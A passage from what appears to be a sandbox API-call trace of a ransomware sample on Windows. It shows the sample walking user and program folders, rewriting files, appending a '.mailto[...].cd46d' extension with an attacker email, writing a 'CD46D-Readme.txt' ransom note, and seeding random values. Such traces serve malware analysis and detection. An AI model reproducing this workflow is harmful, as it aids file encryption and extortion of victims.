BaseAddress=0x5e10850) returned 1 [0057.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e04048) returned 1 [0057.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e461d8) returned 1 [0057.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0057.668] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x409ea8 [0057.668] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.669] WriteFile (in: hFile=0x1088, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x2c3fd58, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x2c3fd58*=0x117, lpOverlapped=0x0) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409fa8) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ea8) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417d0) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fc70) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fcc0) returned 1 [0057.670] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fce8) returned 1 [0057.670] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x423da8 [0057.670] wcscpy (in: _Dest=0x423da8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0057.670] wcscat (in: _Dest=0x423da8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.mailto[2Hamlampampom@cock.li].cd46d" [0057.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2c3fd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.670] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfc) returned 0x12f4b2d0 [0058.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0058.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e3d8) returned 1 [0058.447] NtQueryInformationFile (in: FileHandle=0x1088, IoStatusBlock=0x2c3fd1c, FileInformation=0x2c3fcf4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c3fd1c, FileInformation=0x2c3fcf4) returned 0x0 [0058.447] NtSetInformationFile (FileHandle=0x1088, IoStatusBlock=0x2c3fd1c, FileInformation=0x2c3fcf4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.485] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.485] FlushFileBuffers (hFile=0x1088) returned 1 [0062.191] CloseHandle (hObject=0x1088) returned 1 [0062.623] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43eb90 [0062.623] wcscpy (in: _Dest=0x43eb90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\" [0062.623] wcscat (in: _Dest=0x43eb90, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\CD46D-Readme.txt" [0062.623] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\cd46d-readme.txt")) returned 0xffffffff [0062.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb64 [0062.904] WriteFile (in: hFile=0xb64, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2c3fd18, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x2c3fd18*=0x6fd, lpOverlapped=0x0) returned 1 [0062.987] CloseHandle (hObject=0xb64) returned 1 [0062.987] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43eb90) returned 1 [0062.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e110) returned 1 Thread: id = 896 os_tid = 0x11dc [0051.929] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata")) returned 0x2020 [0051.929] SetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", dwFileAttributes=0x20) returned 1 [0065.310] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1270 [0065.310] GetFileSizeEx (in: hFile=0x1270, lpFileSize=0xfbfc2c | out: lpFileSize=0xfbfc2c*=479) returned 1 [0065.310] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x1db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.310] ReadFile (hFile=0x1270, lpBuffer=0xfbfbb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfbfbac, lpOverlapped=0x0) Thread: id = 897 os_tid = 0x11e0 [0051.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29a18 [0051.934] wcscpy (in: _Dest=0x12e29a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0051.934] wcscat (in: _Dest=0x12e29a18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0051.934] wcscat (in: _Dest=0x12e29a18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*" [0051.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424f80 [0051.934] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440c20 [0052.221] wcscmp (_String1=".", _String2=".") returned 0 [0052.221] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.221] wcscmp (_String1="..", _String2=".") returned 1 [0052.221] wcscmp (_String1="..", _String2="..") returned 0 [0052.222] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0052.222] wcscmp (_String1="rdrmessage.zip", _String2=".") returned 1 [0052.222] wcscmp (_String1="rdrmessage.zip", _String2="..") returned 1 [0052.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x443280 [0052.222] wcscpy (in: _Dest=0x443280, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0052.222] wcscat (in: _Dest=0x443280, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0052.222] wcscat (in: _Dest=0x443280, _Source="rdrmessage.zip" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" [0059.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x443280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf5c [0059.833] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0059.833] wcscmp (_String1="ReaderMessages", _String2=".") returned 1 [0059.833] wcscmp (_String1="ReaderMessages", _String2="..") returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x4436a0 [0059.834] wcscpy (in: _Dest=0x4436a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0059.834] wcscat (in: _Dest=0x4436a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0059.834] wcscat (in: _Dest=0x4436a0, _Source="ReaderMessages" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" [0059.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4436a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0059.835] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0059.835] wcscmp (_String1="Search", _String2=".") returned 1 [0059.835] wcscmp (_String1="Search", _String2="..") returned 1 [0059.835] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x5ec4d28 [0059.835] wcscpy (in: _Dest=0x5ec4d28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0059.835] wcscat (in: _Dest=0x5ec4d28, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0059.835] wcscat (in: _Dest=0x5ec4d28, _Source="Search" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search" [0059.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec4d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0059.836] FindNextFileW (in: hFindFile=0x440c20, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0059.836] FindClose (in: hFindFile=0x440c20 | out: hFindFile=0x440c20) returned 1 [0059.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424f80) returned 1 [0059.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29a18) returned 1 [0059.837] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417620) returned 1 Thread: id = 898 os_tid = 0x11e4 [0051.936] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43e260 [0051.936] wcscpy (in: _Dest=0x43e260, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0051.936] wcscat (in: _Dest=0x43e260, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\" [0051.936] wcscat (in: _Dest=0x43e260, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*" [0051.936] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4256b8 [0051.936] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440be0 [0052.222] wcscmp (_String1=".", _String2=".") returned 0 [0052.222] FindNextFileW (in: hFindFile=0x440be0, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.222] wcscmp (_String1="..", _String2=".") returned 1 [0052.222] wcscmp (_String1="..", _String2="..") returned 0 [0052.222] FindNextFileW (in: hFindFile=0x440be0, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0052.222] wcscmp (_String1="Adobe Custom Dictionary", _String2=".") returned 1 [0052.222] wcscmp (_String1="Adobe Custom Dictionary", _String2="..") returned 1 [0052.222] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40ccc8 [0052.223] wcscpy (in: _Dest=0x40ccc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0052.223] wcscat (in: _Dest=0x40ccc8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\" [0052.223] wcscat (in: _Dest=0x40ccc8, _Source="Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0063.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x40ccc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90 [0063.938] FindNextFileW (in: hFindFile=0x440be0, lpFindFileData=0x4256b8 | out: lpFindFileData=0x4256b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0063.938] FindClose (in: hFindFile=0x440be0 | out: hFindFile=0x440be0) returned 1 [0063.938] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4256b8) returned 1 [0063.938] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e260) returned 1 [0063.939] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43dfc0) returned 1 Thread: id = 899 os_tid = 0x11e8 [0051.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0051.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML", dwFileAttributes=0x20) returned 1 [0060.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1010 [0060.237] GetFileSizeEx (in: hFile=0x1010, lpFileSize=0x1642fd64 | out: lpFileSize=0x1642fd64*=312376) returned 1 [0060.237] SetFilePointerEx (in: hFile=0x1010, liDistanceToMove=0x4c434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.237] ReadFile (in: hFile=0x1010, lpBuffer=0x1642fce8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1642fce4, lpOverlapped=0x0 | out: lpBuffer=0x1642fce8*, lpNumberOfBytesRead=0x1642fce4*=0x4, lpOverlapped=0x0) returned 1 [0060.239] SetFilePointerEx (in: hFile=0x1010, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d056d8 [0060.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05750 [0060.239] NtQuerySystemTime (in: CurrentTime=0x1642fcc4 | out: CurrentTime=0x1642fcc4*=132174898242240000) returned 0x0 [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x6d0dc79a [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x1bcb207f [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x361d543a [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x7cc27c2b [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x68b480b0 [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x3c99b720 [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x1d077c6d [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x1cdf7da1 [0060.239] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x83c2a93 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0xbde133c [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x373c33c6 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x7758454a [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x4e8b7d29 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x5795884e [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x2c45f00 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x5fb1b413 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x2d751fb9 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x2bf2b832 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x78d6966c [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x78ea830f [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x26445c09 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x57c9f49a [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x1f3123b3 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x31f013a8 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x14f4d545 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x6f94d144 [0060.240] RtlRandomEx (in: Seed=0x1642fcd0 | out: Seed=0x1642fcd0) returned 0x45815660 [0060.240] 